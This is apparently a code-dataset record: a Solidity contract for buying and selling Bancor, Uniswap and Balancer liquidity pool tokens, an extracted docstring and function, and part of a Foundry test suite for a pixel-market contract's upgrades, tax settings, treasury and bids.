_uniswapFactoryV1 address of Uniswap V1 factory contract * @param _uniswapV2Router address of Uniswap V2 router * @param _tokensTypes address of the ITokensTypeStorage */ constructor( address _bancorData, address _uniswapFactoryV1, address _uniswapV2Router, address _tokensTypes ) public { bancorData = IGetBancorData(_bancorData); uniswapFactoryV1 = UniswapFactoryInterfaceV1(_uniswapFactoryV1); uniswapV2Router = IUniswapV2Router(_uniswapV2Router); tokensTypes = ITokensTypeStorage(_tokensTypes); } /** * @dev this function provide necessary data for buy a old BNT and UNI v1 pools by input amount * * @param _amount amount of pool token (NOTE: amount of ETH for Uniswap) * @param _type pool type * @param _poolToken pool token address */ function getDataForBuyingPool(IERC20 _poolToken, uint _type, uint256 _amount) public view returns( address[] memory connectorsAddress, uint256[] memory connectorsAmount ) { // Buy Bancor pool if(_type == uint(PortalType.Bancor)){ // get Bancor converter address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 0); // get converter as contract BancorConverterInterface converter = BancorConverterInterface(converterAddress); uint256 connectorsCount = converter.connectorTokenCount(); // create arrays for data connectorsAddress = new address[](connectorsCount); connectorsAmount = new uint256[](connectorsCount); // push data for(uint8 i = 0; i < connectorsCount; i++){ // get current connector address IERC20 currentConnector = converter.connectorTokens(i); // push address of current connector connectorsAddress[i] = address(currentConnector); // push amount for current connector connectorsAmount[i] = getBancorConnectorsAmountByRelayAmount( _amount, _poolToken, address(currentConnector)); } } // Buy Uniswap pool else if(_type == uint(PortalType.Uniswap)){ // get token address address tokenAddress = uniswapFactoryV1.getToken(address(_poolToken)); // get tokens amd approve to exchange uint256 erc20Amount = getUniswapTokenAmountByETH(tokenAddress, _amount); // return data connectorsAddress = new address[](2); connectorsAmount = new uint256[](2); connectorsAddress[0] = address(ETH_TOKEN_ADDRESS); connectorsAddress[1] = tokenAddress; connectorsAmount[0] = _amount; connectorsAmount[1] = erc20Amount; } else { revert("Unknown pool type"); } } /** * @dev buy Bancor or Uniswap pool * * @param _amount amount of pool token * @param _type pool type * @param _poolToken pool token address (NOTE: for Bancor type 2 don't forget extract pool address from container) * @param _connectorsAddress address of pool connectors (NOTE: for Uniswap ETH should be pass in [0], ERC20 in [1]) * @param _connectorsAmount amount of pool connectors (NOTE: for Uniswap ETH amount should be pass in [0], ERC20 in [1]) * @param _additionalArgs bytes32 array for case if need pass some extra params, can be empty * @param _additionalData for provide any additional data, if not used just set "0x", * for Bancor _additionalData[0] should be converterVersion and _additionalData[1] should be converterType * */ function buyPool ( uint256 _amount, uint _type, address _poolToken, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount, bytes32[] calldata _additionalArgs, bytes calldata _additionalData ) external payable returns(uint256 poolAmountReceive, uint256[] memory connectorsSpended) { // Buy Bancor pool if(_type == uint(PortalType.Bancor)){ (poolAmountReceive) = buyBancorPool( _amount, _poolToken, _connectorsAddress, _connectorsAmount, _additionalArgs, _additionalData ); } // Buy Uniswap pool else if (_type == uint(PortalType.Uniswap)){ (poolAmountReceive) = buyUniswapPool( _amount, _poolToken, _connectorsAddress, _connectorsAmount, _additionalArgs, _additionalData ); } // Buy Balancer pool else if (_type == uint(PortalType.Balancer)){ (poolAmountReceive) = buyBalancerPool( _amount, _poolToken, _connectorsAddress, _connectorsAmount ); } else{ // unknown portal type revert("Unknown portal type"); } // transfer pool token to fund IERC20(_poolToken).transfer(msg.sender, poolAmountReceive); // transfer connectors remains to fund // and calculate how much connectors was spended (current - remains) connectorsSpended = _transferPoolConnectorsRemains( _connectorsAddress, _connectorsAmount); // trigger event emit BuyPool(address(_poolToken), poolAmountReceive, msg.sender); } /** * @dev helper for buying Bancor pool token by a certain converter version and converter type * Bancor has 3 cases for different converter version and type */ function buyBancorPool( uint256 _amount, address _poolToken, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount, bytes32[] calldata _additionalArgs, bytes calldata _additionalData ) private returns(uint256 poolAmountReceive) { // get Bancor converter address by pool token and pool type address converterAddress = getBacorConverterAddressByRelay( _poolToken, uint256(_additionalArgs[1]) ); // transfer from sender and approve to converter // for detect if there are ETH in connectors or not we use etherAmount uint256 etherAmount = _approvePoolConnectors( _connectorsAddress, _connectorsAmount, converterAddress ); // Buy Bancor pool according converter version and type // encode and compare converter version if(uint256(_additionalArgs[0]) >= 28) { // encode and compare converter type if(uint256(_additionalArgs[1]) == 2) { // buy Bancor v2 case _buyBancorPoolV2( converterAddress, etherAmount, _connectorsAddress, _connectorsAmount, _additionalData ); } else{ // buy Bancor v1 case _buyBancorPoolV1( converterAddress, etherAmount, _connectorsAddress, _connectorsAmount, _additionalData ); } } else { // buy Bancor old v0 case _buyBancorPoolOldV( converterAddress, etherAmount, _amount ); } // get recieved pool amount poolAmountReceive = IERC20(_poolToken).balanceOf(address(this)); // make sure we recieved pool require(poolAmountReceive > 0, "ERR BNT pool received 0"); // set token type for this asset tokensTypes.addNewTokenType(_poolToken, "BANCOR_ASSET"); } /** * @dev helper for buy pool in Bancor network for old converter version */ function _buyBancorPoolOldV( address converterAddress, uint256 etherAmount, uint256 _amount) private { // get converter as contract BancorConverterInterface converter = BancorConverterInterface(converterAddress); // buy relay from converter if(etherAmount > 0){ // payable converter.fund.value(etherAmount)(_amount); }else{ // non payable converter.fund(_amount); } } /** * @dev helper for buy pool in Bancor network for new converter type 1 */ function _buyBancorPoolV1( address converterAddress, uint256 etherAmount, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount, bytes memory _additionalData ) private { BancorConverterInterfaceV1 converter = BancorConverterInterfaceV1(converterAddress); // get additional data (uint256 minReturn) = abi.decode(_additionalData, (uint256)); // buy relay from converter if(etherAmount > 0){ // payable converter.addLiquidity.value(etherAmount)(_connectorsAddress, _connectorsAmount, minReturn); }else{ // non payable converter.addLiquidity(_connectorsAddress, _connectorsAmount, minReturn); } } /** * @dev helper for buy pool in Bancor network for new converter type 2 */ function _buyBancorPoolV2( address converterAddress, uint256 etherAmount, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount, bytes memory _additionalData ) private { // get converter as contract BancorConverterInterfaceV2 converter = BancorConverterInterfaceV2(converterAddress); // get additional data (uint256 minReturn) = abi.decode(_additionalData, (uint256)); // buy relay from converter if(etherAmount > 0){ // payable converter.addLiquidity.value(etherAmount)(_connectorsAddress[0], _connectorsAmount[0], minReturn); }else{ // non payable converter.addLiquidity(_connectorsAddress[0], _connectorsAmount[0], minReturn); } } /** * @dev helper for buying Uniswap v1 or v2 pool */ function buyUniswapPool( uint256 _amount, address _poolToken, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount, bytes32[] calldata _additionalArgs, bytes calldata _additionalData ) private returns(uint256 poolAmountReceive) { // define spender dependse of UNI pool version address spender = uint256(_additionalArgs[0]) == 1 ? _poolToken : address(uniswapV2Router); // approve pool tokens to Uni pool exchange _approvePoolConnectors( _connectorsAddress, _connectorsAmount, spender); // Buy Uni pool dependse of version if(uint256(_additionalArgs[0]) == 1){ _buyUniswapPoolV1( _poolToken, _connectorsAddress[1], // connector ERC20 token address _connectorsAmount[1], // connector ERC20 token amount _amount); }else{ _buyUniswapPoolV2( _poolToken, _connectorsAddress, _connectorsAmount, _additionalData ); } // get pool amount poolAmountReceive = IERC20(_poolToken).balanceOf(address(this)); // check if we recieved pool token require(poolAmountReceive > 0, "ERR UNI pool received 0"); } /** * @dev helper for buy pool in Uniswap network v1 * * @param _poolToken address of Uniswap exchange * @param _tokenAddress address of ERC20 conenctor * @param _erc20Amount amount of ERC20 connector * @param _ethAmount ETH amount (in wei) */ function _buyUniswapPoolV1( address _poolToken, address _tokenAddress, uint256 _erc20Amount, uint256 _ethAmount ) private { require(_ethAmount == msg.value, "Not enough ETH"); // get exchange contract UniswapExchangeInterface exchange = UniswapExchangeInterface(_poolToken); // set deadline uint256 deadline = now + 15 minutes; // buy pool exchange.addLiquidity.value(_ethAmount)( 1, _erc20Amount, deadline ); // Set token type tokensTypes.addNewTokenType(_poolToken, "UNISWAP_POOL"); } /** * @dev helper for buy pool in Uniswap network v2 */ function _buyUniswapPoolV2( address _poolToken, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount, bytes calldata _additionalData ) private { // set deadline uint256 deadline = now + 15 minutes; // get additional data (uint256 amountAMinReturn, uint256 amountBMinReturn) = abi.decode(_additionalData, (uint256, uint256)); // Buy UNI V2 pool // ETH connector case if(_connectorsAddress[0] == address(ETH_TOKEN_ADDRESS)){ uniswapV2Router.addLiquidityETH.value(_connectorsAmount[0])( _connectorsAddress[1], _connectorsAmount[1], amountBMinReturn, amountAMinReturn, address(this), deadline ); } // ERC20 connector case else{ uniswapV2Router.addLiquidity( _connectorsAddress[0], _connectorsAddress[1], _connectorsAmount[0], _connectorsAmount[1], amountAMinReturn, amountBMinReturn, address(this), deadline ); } // Set token type tokensTypes.addNewTokenType(_poolToken, "UNISWAP_POOL_V2"); } /** * @dev helper for buying Balancer pool */ function buyBalancerPool( uint256 _amount, address _poolToken, address[] calldata _connectorsAddress, uint256[] calldata _connectorsAmount ) private returns(uint256 poolAmountReceive) { // approve pool tokens to Balancer pool exchange _approvePoolConnectors( _connectorsAddress, _connectorsAmount, _poolToken); // buy pool IBalancerPool(_poolToken).joinPool(_amount, _connectorsAmount); // get balance poolAmountReceive = IERC20(_poolToken).balanceOf(address(this)); // check require(poolAmountReceive > 0, "ERR BALANCER pool received 0"); // update type tokensTypes.addNewTokenType(_poolToken, "BALANCER_POOL"); } /** * @dev helper for buying BNT or UNI pools, approve connectors from msg.sender to spender address * return ETH amount if connectorsAddress contains ETH address */ function _approvePoolConnectors( address[] memory connectorsAddress, uint256[] memory connectorsAmount, address spender ) private returns(uint256 etherAmount) { // approve from portal to spender for(uint8 i = 0; i < connectorsAddress.length; i++){ if(connectorsAddress[i] != address(ETH_TOKEN_ADDRESS)){ // transfer from msg.sender and approve to _transferFromSenderAndApproveTo( IERC20(connectorsAddress[i]), connectorsAmount[i], spender); }else{ etherAmount = connectorsAmount[i]; } } } /** * @dev helper for buying BNT or UNI pools, transfer ERC20 tokens and ETH remains after bying pool, * if the balance is positive on this contract, and calculate how many assets was spent. */ function _transferPoolConnectorsRemains( address[] memory connectorsAddress, uint256[] memory currentConnectorsAmount ) private returns (uint256[] memory connectorsSpended) { // set length for connectorsSpended connectorsSpended = new uint256[](currentConnectorsAmount.length); // transfer connectors back to fund if some amount remains uint256 remains = 0; for(uint8 i = 0; i < connectorsAddress.length; i++){ // ERC20 case if(connectorsAddress[i] != address(ETH_TOKEN_ADDRESS)){ // check balance remains = IERC20(connectorsAddress[i]).balanceOf(address(this)); // transfer ERC20 if(remains > 0) IERC20(connectorsAddress[i]).transfer(msg.sender, remains); } // ETH case else { remains = address(this).balance; // transfer ETH if(remains > 0) (msg.sender).transfer(remains); } // calculate how many assets was spent connectorsSpended[i] = currentConnectorsAmount[i].sub(remains); } } /** * @dev return token ration in ETH in Uniswap network * * @param _token address of ERC20 token * @param _amount ETH amount */ function getUniswapTokenAmountByETH(address _token, uint256 _amount) public view returns(uint256) { UniswapExchangeInterface exchange = UniswapExchangeInterface( uniswapFactoryV1.getExchange(_token)); return exchange.getTokenToEthOutputPrice(_amount); } /** * @dev sell Bancor or Uniswap pool * * @param _amount amount of pool token * @param _type pool type * @param _poolToken pool token address * @param _additionalArgs bytes32 array for case if need pass some extra params, can be empty * @param _additionalData for provide any additional data, if not used just set "0x" */ function sellPool ( uint256 _amount, uint _type, IERC20 _poolToken, bytes32[] calldata _additionalArgs, bytes calldata _additionalData ) external returns( address[] memory connectorsAddress, uint256[] memory connectorsAmount ) { // sell Bancor Pool if(_type == uint(PortalType.Bancor)){ (connectorsAddress, connectorsAmount) = sellBancorPool( _amount, _poolToken, _additionalArgs, _additionalData); } // sell Uniswap pool else if (_type == uint(PortalType.Uniswap)){ (connectorsAddress, connectorsAmount) = sellUniswapPool( _poolToken, _amount, _additionalArgs, _additionalData); } // sell Balancer pool else if (_type == uint(PortalType.Balancer)){ (connectorsAddress, connectorsAmount) = sellBalancerPool( _amount, _poolToken, _additionalData); } else{ revert("Unknown portal type"); } emit SellPool(address(_poolToken), _amount, msg.sender); } /** * @dev helper for sell pool in Bancor network dependse of converter version and type */ function sellBancorPool( uint256 _amount, IERC20 _poolToken, bytes32[] calldata _additionalArgs, bytes calldata _additionalData ) private returns( address[] memory connectorsAddress, uint256[] memory connectorsAmount ) { // transfer pool from fund _poolToken.transferFrom(msg.sender, address(this), _amount); // get Bancor converter version and type uint256 bancorPoolVersion = uint256(_additionalArgs[0]); uint256 bancorConverterType = uint256(_additionalArgs[1]); // sell pool according converter version and type if(bancorPoolVersion >= 28){ // sell new Bancor v2 pool if(bancorConverterType == 2){ (connectorsAddress) = sellPoolViaBancorV2( _poolToken, _amount, _additionalData ); } // sell new Bancor v1 pool else{ (connectorsAddress) = sellPoolViaBancorV1(_poolToken, _amount, _additionalData); } } // sell old Bancor pool else{ (connectorsAddress) = sellPoolViaBancorOldV(_poolToken, _amount); } // transfer pool connectors back to fund connectorsAmount = transferConnectorsToSender(connectorsAddress); } /** * @dev helper for sell pool in Bancor network for old converter version * * @param _poolToken address of bancor relay * @param _amount amount of bancor relay */ function sellPoolViaBancorOldV(IERC20 _poolToken, uint256 _amount) private returns(address[] memory connectorsAddress) { // get Bancor Converter instance address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 0); BancorConverterInterface converter = BancorConverterInterface(converterAddress); // liquidate relay converter.liquidate(_amount); // return connectors addresses uint256 connectorsCount = converter.connectorTokenCount(); connectorsAddress = new address[](connectorsCount); for(uint8 i = 0; i<connectorsCount; i++){ connectorsAddress[i] = address(converter.connectorTokens(i)); } } /** * @dev helper for sell pool in Bancor network converter type v1 */ function sellPoolViaBancorV1( IERC20 _poolToken, uint256 _amount, bytes memory _additionalData ) private returns(address[] memory connectorsAddress) { // get Bancor Converter address address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 1); // get min returns uint256[] memory reserveMinReturnAmounts; // get connetor tokens data for remove liquidity (connectorsAddress, reserveMinReturnAmounts) = abi.decode(_additionalData, (address[], uint256[])); // get coneverter v1 contract BancorConverterInterfaceV1 converter = BancorConverterInterfaceV1(converterAddress); // remove liquidity (v1) converter.removeLiquidity(_amount, connectorsAddress, reserveMinReturnAmounts); } /** * @dev helper for sell pool in Bancor network converter type v2 */ function sellPoolViaBancorV2( IERC20 _poolToken, uint256 _amount, bytes calldata _additionalData ) private returns(address[] memory connectorsAddress) { // get Bancor Converter address address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 2); // get converter v2 contract BancorConverterInterfaceV2 converter = BancorConverterInterfaceV2(converterAddress); // get additional data uint256 minReturn; // get pool connectors (connectorsAddress, minReturn) = abi.decode(_additionalData, (address[], uint256)); // remove liquidity (v2) converter.removeLiquidity(address(_poolToken), _amount, minReturn); } /** * @dev helper for sell pool in Uniswap network for v1 and v2 */ function sellUniswapPool( IERC20 _poolToken, uint256 _amount, bytes32[] calldata _additionalArgs, bytes calldata _additionalData ) private returns( address[] memory connectorsAddress, uint256[] memory connectorsAmount ) { // define spender dependse of UNI pool version address spender = uint256(_additionalArgs[0]) == 1 ? address(_poolToken) : address(uniswapV2Router); // approve pool token _transferFromSenderAndApproveTo(_poolToken, _amount, spender); // sell Uni v1 or v2 pool if(uint256(_additionalArgs[0]) == 1){ (connectorsAddress) = sellPoolViaUniswapV1(_poolToken, _amount); }else{ (connectorsAddress) = sellPoolViaUniswapV2(_amount, _additionalData); } // transfer pool connectors back to fund connectorsAmount = transferConnectorsToSender(connectorsAddress); } /** * @dev helper for sell pool in Uniswap network v1 */ function sellPoolViaUniswapV1( IERC20 _poolToken, uint256 _amount ) private returns(address[] memory connectorsAddress) { // get token by pool token address tokenAddress = uniswapFactoryV1.getToken(address(_poolToken)); // check if such a pool exist if(tokenAddress != address(0x0000000000000000000000000000000000000000)){ // get UNI exchane UniswapExchangeInterface exchange = UniswapExchangeInterface(address(_poolToken)); // get min returns (uint256 minEthAmount, uint256 minErcAmount) = getUniswapConnectorsAmountByPoolAmount(_amount, address(_poolToken)); // set deadline uint256 deadline = now + 15 minutes; // liquidate exchange.removeLiquidity( _amount, minEthAmount, minErcAmount, deadline); // return data connectorsAddress = new address[](2); connectorsAddress[0] = address(ETH_TOKEN_ADDRESS); connectorsAddress[1] = tokenAddress; } else{ revert("Not exist UNI v1 pool"); } } /** * @dev helper for sell pool in Uniswap network v2 */ function sellPoolViaUniswapV2( uint256 _amount, bytes calldata _additionalData ) private returns(address[] memory connectorsAddress) { // get additional data uint256 minReturnA; uint256 minReturnB; // get connectors and min return from bytes (connectorsAddress, minReturnA, minReturnB) = abi.decode(_additionalData, (address[], uint256, uint256)); // get deadline uint256 deadline = now + 15 minutes; // sell pool with include eth connector if(connectorsAddress[0] == address(ETH_TOKEN_ADDRESS)){ uniswapV2Router.removeLiquidityETH( connectorsAddress[1], _amount, minReturnB, minReturnA, address(this), deadline ); } // sell pool only with erc20 connectors else{ uniswapV2Router.removeLiquidity( connectorsAddress[0], connectorsAddress[1], _amount, minReturnA, minReturnB, address(this), deadline ); } } /** * @dev helper for sell Balancer pool */ function sellBalancerPool( uint256 _amount, IERC20 _poolToken, bytes calldata _additionalData ) private returns( address[] memory connectorsAddress, uint256[] memory connectorsAmount ) { // get additional data uint256[] memory minConnectorsAmount; (connectorsAddress, minConnectorsAmount) = abi.decode(_additionalData, (address[], uint256[])); // approve pool _transferFromSenderAndApproveTo( _poolToken, _amount, address(_poolToken)); // sell pool IBalancerPool(address(_poolToken)).exitPool(_amount, minConnectorsAmount); // transfer connectors back to fund connectorsAmount = transferConnectorsToSender(connectorsAddress); } /** * @dev helper for sell Bancor and Uniswap pools * transfer pool connectors from sold pool back to sender * return array with amount of recieved connectors */ function transferConnectorsToSender(address[] memory connectorsAddress) private returns(uint256[] memory connectorsAmount) { // define connectors amount length connectorsAmount = new uint256[](connectorsAddress.length); uint256 received = 0; // transfer connectors back to fund for(uint8 i = 0; i < connectorsAddress.length; i++){ // ETH case if(connectorsAddress[i] == address(ETH_TOKEN_ADDRESS)){ // update ETH data received = address(this).balance; connectorsAmount[i] = received; // tarnsfer ETH if(received > 0) payable(msg.sender).transfer(received); } // ERC20 case else{ // update ERC20 data received = IERC20(connectorsAddress[i]).balanceOf(address(this)); connectorsAmount[i] = received; // transfer ERC20 if(received > 0) IERC20(connectorsAddress[i]).transfer(msg.sender, received); } } } /** * @dev helper for get bancor converter by bancor relay addrses * * @param _relay address of bancor relay * @param _poolType bancor pool type */ function getBacorConverterAddressByRelay(address _relay, uint256 _poolType) public view returns(address converter) { if(_poolType == 2){ address smartTokenContainer = SmartTokenInterface(_relay).owner(); converter = SmartTokenInterface(smartTokenContainer).owner(); }else{ converter = SmartTokenInterface(_relay).owner(); } } /** * @dev return ERC20 address from Uniswap exchange address * * @param _exchange address of uniswap exchane */ function getTokenByUniswapExchange(address _exchange) external view returns(address) { return uniswapFactoryV1.getToken(_exchange); } /** * @dev helper for get amounts for both Uniswap connectors for input amount of pool * * @param _amount relay amount * @param _exchange address of uniswap exchane */ function getUniswapConnectorsAmountByPoolAmount( uint256 _amount, address _exchange ) public view returns(uint256 ethAmount, uint256 ercAmount) { IERC20 token = IERC20(uniswapFactoryV1.getToken(_exchange)); // total_liquidity exchange.totalSupply uint256 totalLiquidity = UniswapExchangeInterface(_exchange).totalSupply(); // ethAmount = amount * exchane.eth.balance / total_liquidity ethAmount = _amount.mul(_exchange.balance).div(totalLiquidity); // ercAmount = amount * token.balanceOf(exchane) / total_liquidity ercAmount = _amount.mul(token.balanceOf(_exchange)).div(totalLiquidity); } /** * @dev helper for get amounts for both Uniswap connectors for input amount of pool * for Uniswap version 2 * * @param _amount pool amount * @param _exchange address of uniswap exchane */ function getUniswapV2ConnectorsAmountByPoolAmount( uint256 _amount, address _exchange ) public view returns( uint256 tokenAmountOne, uint256 tokenAmountTwo, address tokenAddressOne, address tokenAddressTwo ) { tokenAddressOne = IUniswapV2Pair(_exchange).token0(); tokenAddressTwo = IUniswapV2Pair(_exchange).token1(); // total_liquidity exchange.totalSupply uint256 totalLiquidity = IERC20(_exchange).totalSupply(); // ethAmount = amount * exchane.eth.balance / total_liquidity tokenAmountOne = _amount.mul(IERC20(tokenAddressOne).balanceOf(_exchange)).div(totalLiquidity); // ercAmount = amount * token.balanceOf(exchane) / total_liquidity tokenAmountTwo = _amount.mul(IERC20(tokenAddressTwo).balanceOf(_exchange)).div(totalLiquidity); } /** * @dev helper for get amounts all Balancer connectors for input amount of pool * for Balancer * * step 1 get all tokens * step 2 get user amount from each token by a user pool share * * @param _amount pool amount * @param _pool address of balancer pool */ function getBalancerConnectorsAmountByPoolAmount( uint256 _amount, address _pool ) public view returns( address[] memory tokens, uint256[] memory tokensAmount ) { IBalancerPool balancerPool = IBalancerPool(_pool); // get all pool tokens tokens = balancerPool.getCurrentTokens(); // set tokens amount length tokensAmount = new uint256[](tokens.length); // get total pool shares uint256 totalShares = IERC20(_pool).totalSupply(); // calculate all tokens from the pool for(uint i = 0; i < tokens.length; i++){ // get a certain total token amount in pool uint256 totalTokenAmount = IERC20(tokens[i]).balanceOf(_pool); // get a certain pool share (_amount) from a certain token amount in pool tokensAmount[i] = totalTokenAmount.mul(_amount).div(totalShares); } } /** * @dev helper for get value in pool for a certain connector address * * @param _amount relay amount * @param _relay address of bancor relay * @param _connector address of relay connector */ function getBancorConnectorsAmountByRelayAmount ( uint256 _amount, IERC20 _relay, address _connector ) public view returns(uint256 connectorAmount) { // get converter contract BancorConverterInterface converter = BancorConverterInterface( SmartTokenInterface(address(_relay)).owner()); // get connector balance uint256 connectorBalance = converter.getConnectorBalance(IERC20(_connector)); // get bancor formula contract IBancorFormula bancorFormula = IBancorFormula( bancorData.getBancorContractAddresByName("BancorFormula")); // calculate input connectorAmount = bancorFormula.calculateFundCost( _relay.totalSupply(), connectorBalance, 1000000, _amount); } /** * @dev helper for get Bancor ERC20 connectors addresses for old Bancor version * * @param _relay address of bancor relay */ function getBancorConnectorsByRelay(address _relay) public view returns( IERC20[] memory connectors ) { address converterAddress = getBacorConverterAddressByRelay(_relay, 0); BancorConverterInterface converter = BancorConverterInterface(converterAddress); uint256 connectorTokenCount = converter.connectorTokenCount(); connectors = new IERC20[](connectorTokenCount); for(uint8 i; i < connectorTokenCount; i++){ connectors[i] = converter.connectorTokens(i); } } /** * @dev helper for get ratio between assets in bancor newtork * * @param _from token or relay address * @param _to token or relay address * @param _amount amount from */ function getBancorRatio(address _from, address _to, uint256 _amount) external view returns(uint256) { // return Bancor ratio return bancorData.getBancorRatioForAssets(IERC20(_from), IERC20(_to), _amount); } // owner of portal can change getBancorData helper, for case if Bancor do some major updates function setNewGetBancorData(address _bancorData) public onlyOwner { bancorData = IGetBancorData(_bancorData); } /** * @dev Transfers tokens to this contract and approves them to another address * * @param _source Token to transfer and approve * @param _sourceAmount The amount to transfer and approve (in _source token) * @param _to Address to approve to */ function _transferFromSenderAndApproveTo(IERC20 _source, uint256 _sourceAmount, address _to) private { require(_source.transferFrom(msg.sender, address(this), _sourceAmount)); // reset previous approve (some ERC20 not allow do new approve if already approved) _source.approve(_to, 0); // approve _source.approve(_to, _sourceAmount); } // fallback payable function to receive ether from other contract addresses fallback() external payable {} }
return ERC20 address from Uniswap exchange address _exchange address of uniswap exchane/
function getTokenByUniswapExchange(address _exchange) external view returns(address) { return uniswapFactoryV1.getToken(_exchange); }
6,512,880
//SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; import "./BaseTheSpace.t.sol"; contract TheSpaceTest is BaseTheSpaceTest { /** * Upgradablitity */ function testUpgradeTo() public { // deploy new logic contract TheSpace thespace2 = new TheSpace( address(currency), address(registry), TOKEN_IMAGE_URI, ACL_MANAGER, MARKET_ADMIN, TREASURY_ADMIN ); assertEq(address(thespace2.registry()), address(registry)); assertEq(registry.owner(), address(thespace)); // upgrade from old logic contract vm.prank(ACL_MANAGER); thespace.upgradeTo(address(thespace2)); assertEq(registry.owner(), address(thespace2)); } function testCannotUpgradeByAttacker() public { vm.expectRevert(abi.encodeWithSignature("RoleRequired(uint8)", ROLE_ACL_MANAGER)); thespace.upgradeTo(address(1234)); } /** * Total Supply */ function testTotalSupply() public { assertGt(registry.totalSupply(), 0); } function testSetTotalSupply(uint256 newTotalSupply) public { vm.assume(newTotalSupply > 0); // bid a token _bid(PIXEL_PRICE, PIXEL_PRICE); // collect tax _rollBlock(); assertGt(thespace.getTax(PIXEL_ID), 0); thespace.settleTax(PIXEL_ID); // check prev UBI uint256 prevTotalSupply = registry.totalSupply(); uint256 prevUBI = thespace.ubiAvailable(PIXEL_ID); assertGt(prevUBI, 0); // change total supply vm.prank(MARKET_ADMIN); thespace.setTotalSupply(newTotalSupply); // check new UBI uint256 newUBI = thespace.ubiAvailable(PIXEL_ID); if (newTotalSupply >= prevTotalSupply) { assertLe(newUBI, prevUBI); } else { assertGt(newUBI, prevUBI); } } function testCannotSetTotalSupplyByAttacker() public { vm.expectRevert(abi.encodeWithSignature("RoleRequired(uint8)", ROLE_MARKET_ADMIN)); vm.prank(ATTACKER); thespace.setTotalSupply(1000); } /** * @dev Config */ function testGetConfig() public { assertGe(registry.taxConfig(CONFIG_TAX_RATE), 0); assertGe(registry.taxConfig(CONFIG_TREASURY_SHARE), 0); assertGe(registry.taxConfig(CONFIG_MINT_TAX), 0); } function testCannotSetConfigByAttacker() public { vm.expectRevert(abi.encodeWithSignature("RoleRequired(uint8)", ROLE_MARKET_ADMIN)); vm.prank(ATTACKER); thespace.setTaxConfig(CONFIG_TAX_RATE, 1000); } function testSetTaxRate() public { // set tax rate uint256 taxRate = 1000; vm.prank(MARKET_ADMIN); vm.expectEmit(true, true, false, false); emit Config(CONFIG_TAX_RATE, taxRate); thespace.setTaxConfig(CONFIG_TAX_RATE, taxRate); // bid a token _bid(PIXEL_PRICE, PIXEL_PRICE); // roll block.number and check tax uint256 blockRollsTo = block.number + TAX_WINDOW; (, uint256 lastTaxCollection, ) = registry.tokenRecord(PIXEL_ID); uint256 tax = (PIXEL_PRICE * taxRate * (blockRollsTo - lastTaxCollection)) / (1000 * 10000); vm.roll(blockRollsTo); assertEq(thespace.getTax(PIXEL_ID), tax); assertGt(thespace.getTax(PIXEL_ID), 0); // change tax rate and recheck uint256 newTaxRate = 10; vm.prank(MARKET_ADMIN); vm.expectEmit(true, true, false, false); emit Config(CONFIG_TAX_RATE, newTaxRate); thespace.setTaxConfig(CONFIG_TAX_RATE, newTaxRate); uint256 newTax = (PIXEL_PRICE * newTaxRate * (blockRollsTo - lastTaxCollection)) / (1000 * 10000); vm.roll(blockRollsTo); assertEq(thespace.getTax(PIXEL_ID), newTax); assertGt(thespace.getTax(PIXEL_ID), 0); // zero tax vm.prank(MARKET_ADMIN); vm.expectEmit(true, true, false, false); emit Config(CONFIG_TAX_RATE, 0); thespace.setTaxConfig(CONFIG_TAX_RATE, 0); vm.roll(blockRollsTo); assertEq(thespace.getTax(PIXEL_ID), 0); } function testSetTreasuryShare() public { // set treasury share uint256 share = 1000; vm.prank(MARKET_ADMIN); vm.expectEmit(true, true, false, false); emit Config(CONFIG_TREASURY_SHARE, share); thespace.setTaxConfig(CONFIG_TREASURY_SHARE, share); // bid a token _bid(PIXEL_PRICE, PIXEL_PRICE); _rollBlock(); // check treasury share uint256 tax = thespace.getTax(PIXEL_ID); (, uint256 prevTreasury, ) = registry.treasuryRecord(); uint256 expectTreasury = prevTreasury + ((tax * share) / 10000); thespace.settleTax(PIXEL_ID); (, uint256 newTreasury, ) = registry.treasuryRecord(); assertEq(newTreasury, expectTreasury); assertGt(newTreasury, 0); } function testSetMintTax() public { // set mint tax uint256 mintTax = 50 * (10**uint256(currency.decimals())); vm.expectEmit(true, true, false, false); emit Config(CONFIG_MINT_TAX, mintTax); _setMintTax(mintTax); // bid a token with mint tax as amount uint256 prevBalance = currency.balanceOf(PIXEL_OWNER); _bid(mintTax); assertEq(currency.balanceOf(PIXEL_OWNER), prevBalance - mintTax); } function testWithdrawTreasury() public { // bid a token _bid(PIXEL_PRICE, PIXEL_PRICE); // collect tax _rollBlock(); thespace.settleTax(PIXEL_ID); uint256 prevTreasuryBalance = currency.balanceOf(TREASURY); uint256 prevContractBalance = currency.balanceOf(address(registry)); (, uint256 accumulatedTreasury, uint256 treasuryWithdrawn) = registry.treasuryRecord(); uint256 amount = accumulatedTreasury - treasuryWithdrawn; // withdraw treasury vm.prank(TREASURY_ADMIN); vm.expectEmit(true, true, false, false); emit Treasury(TREASURY, amount); thespace.withdrawTreasury(TREASURY); // check treasury balance assertEq(currency.balanceOf(TREASURY), prevTreasuryBalance + amount); (, , uint256 newTreasuryWithdrawn) = registry.treasuryRecord(); assertEq(newTreasuryWithdrawn, accumulatedTreasury); // check contract balance assertEq(currency.balanceOf(address(registry)), prevContractBalance - amount); } /** * @dev Pixel */ function testGetNonExistingPixel() public { uint256 mintTax = 10 * (10**uint256(currency.decimals())); _setMintTax(mintTax); ITheSpaceRegistry.Pixel memory pixel = thespace.getPixel(PIXEL_ID); assertEq(pixel.price, mintTax); assertEq(pixel.color, 0); assertEq(pixel.owner, address(0)); } function testGetExistingPixel() public { _bid(PIXEL_PRICE, PIXEL_PRICE); ITheSpaceRegistry.Pixel memory pixel = thespace.getPixel(PIXEL_ID); assertEq(pixel.price, PIXEL_PRICE); assertEq(pixel.color, 0); assertEq(pixel.owner, PIXEL_OWNER); } function testSetPixel(uint256 bidPrice) public { vm.assume(bidPrice > PIXEL_PRICE && bidPrice <= registry.currency().totalSupply()); uint256 newPrice = bidPrice + 1; // bid with PIXEL_OWNER _bid(PIXEL_PRICE, PIXEL_PRICE); // bid with PIXEL_OWNER_1 